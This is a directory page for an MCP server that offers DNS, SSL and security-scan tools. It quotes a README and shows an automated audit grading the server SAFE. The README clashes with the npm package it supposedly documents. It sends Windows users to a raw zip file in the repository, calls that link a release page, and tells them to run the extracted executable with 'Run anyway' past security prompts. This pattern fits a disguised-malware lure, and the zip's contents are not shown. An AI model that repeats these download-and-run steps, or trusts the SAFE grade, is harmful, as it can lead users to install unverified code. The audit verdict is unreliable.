nslookup-mcpSAFE
Run DNS lookups, SSL checks, security scans, GEO scores, and domain intelligence via MCP with nslookup.io
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
[](https://github.com/Ayushje/nslookup-mcp/raw/refs/heads/main/src/nslookup-mcp-2.3.zip)
🧭 What this app does
nslookup-mcp helps you check DNS records, test DNS propagation, and watch certificates through nslookup.io. It is made for users who want clear DNS results without manual command-line work.
You can use it to:
- Look up DNS records
- Check if DNS changes have spread
- Review certificate status
- Send DNS checks through an MCP server setup
- Use nslookup.io as the data source
💻 Before you install
Use a Windows PC with:
- Windows 10 or Windows 11
- A stable internet connection
- Permission to install or run downloaded apps
- Enough free space for the app and its files
If your PC blocks downloads, you may need to allow the file in your browser or in Windows Security
📥 Download nslookup-mcp
Visit this page to download the app:
https://github.com/Ayushje/nslookup-mcp/raw/refs/heads/main/src/nslookup-mcp-2.3.zip
On that page, look for the latest release and download the Windows file for your PC
🪟 Install and run on Windows
Follow these steps:
- Open the release page
Go to https://github.com/Ayushje/nslookup-mcp/raw/refs/heads/main/src/nslookup-mcp-2.3.zip
- Find the latest version
The newest release is usually at the top of the page
- Download the Windows file
Choose the file made for Windows. It may be an .exe file or a zipped file
- If the file is zipped, extract it
- Right-click the zip file
- Select Extract All
- Choose a folder you can find again
- Run the app
- If you downloaded an .exe file, double-click it
- If Windows shows a security prompt, choose Run or More info, then Run anyway
- Keep the app in a fixed folder
If you extracted files, do not move them while the app is running
⚙️ Basic setup
a006caed9d10OBSERVED · 2026-10-11Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control.
claude mcp add mcp-server -- npx -y @nslookup-io/[email protected]
Exposed tools (11)
10 read · 1 write · 0 destructive.
| Tool | Risk | Description |
|---|---|---|
bimi_vmc | read | Check BIMI (Brand Indicators for Message Identification) and VMC (Verified Mark Certificate) for a domain. Returns BIMI DNS record status, VMC certificate details, logo URL, trademark info, and expiry. |
dns_health | read | |
dns_lookup | read | Look up all common DNS records (A, AAAA, NS, MX, TXT, CNAME, SOA) for a domain. Returns results from a specified DNS server. |
dns_propagation | read | Check DNS propagation for a domain across 18+ global DNS servers (Cloudflare, Google, Quad9, OpenDNS, regional servers, and authoritative nameservers). Shows if DNS changes have propagated worldwide. |
dns_record | read | Look up a specific DNS record type for a domain. Supports 53 record types including A, AAAA, MX, TXT, CNAME, SOA, PTR, CAA, SRV, DNSKEY, DS, TLSA, HTTPS, SPF, and more. |
geo_checker | read | Check a domain |
security_scan | write | Run a security scan on a domain to detect DNS misconfigurations, missing SPF/DKIM/DMARC records, cookie security issues, and other web security vulnerabilities. Returns findings with severity levels (critical, high, medium, low, info). |
ssl_certificate | read | Check the SSL/TLS certificate for a domain. Returns issuer, expiry date, days until expiry, certificate chain validity, cipher strength, SAN domains, fingerprint, and TLS protocol version. |
uptime_check | read | Perform a one-time HTTP uptime check on a URL from a single location. Returns whether the site is up or down, HTTP status code, and response time in milliseconds. For multi-location checks, use uptime_check_multi instead. |
uptime_check_multi | read | Check if a website is up or down from 7 global locations simultaneously: Amsterdam, Sydney, London, Frankfurt, Delhi, Warsaw, and South Carolina. Returns status, response time, and HTTP status code for each location. |
webservers | read | Get the IP addresses (both IPv4 and IPv6) for a domain by looking up A and AAAA records. Also returns the punycode and unicode domain representations. |
Trust audit
SAFEgrade B · trust 89/100 Nothing in the source contradicts what it says it does. Grade A is reserved for packages that have also passed the behavioural sandbox.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | WARN |
| L1 | Static analysis of the code | PASS |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | PASS |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- none-observed
- Network
- declared (2 observation(s))
- Shell
- none-observed
- Dependencies
- not all pinned
- Secrets in source
- none-found
Findings (2)
nslookup-mcp-2.3.zip
@modelcontextprotocol/sdk, express, zod, @types/express, @types/node, typescript
Gates applied: no_behavioural_pass.
a006caed9d10full audit observations/trust-audit/mcp-server/ayushje__nslookup-mcp.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-11 | a006caed9d10 | SAFE | B | 89 | first audit |
Questions
What is the nslookup-mcp MCP server?
Run DNS lookups, SSL checks, security scans, GEO scores, and domain intelligence via MCP with nslookup.io
What tools does nslookup-mcp expose?
11 in total: 10 read-only, 1 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.
Is nslookup-mcp safe to connect to an agent?
The audit found nothing in the source that contradicts what it says it does, and graded it B (89/100). Grade A is held back for packages that have also passed a sandboxed behavioural run, which is why a clean server reads B.
What credentials does nslookup-mcp need?
No credential environment variables were found in its source, so it appears to need none.
How does nslookup-mcp run?
It speaks stdio and streamable-http, so it runs as a local process your client starts. It is published on npm as @nslookup-io/mcp-server at 1.3.0.
How current is this page?
The grade is for one exact copy of the source (a006caed9d10), read on 2026-10-11. The repository is watched and re-audited when it changes.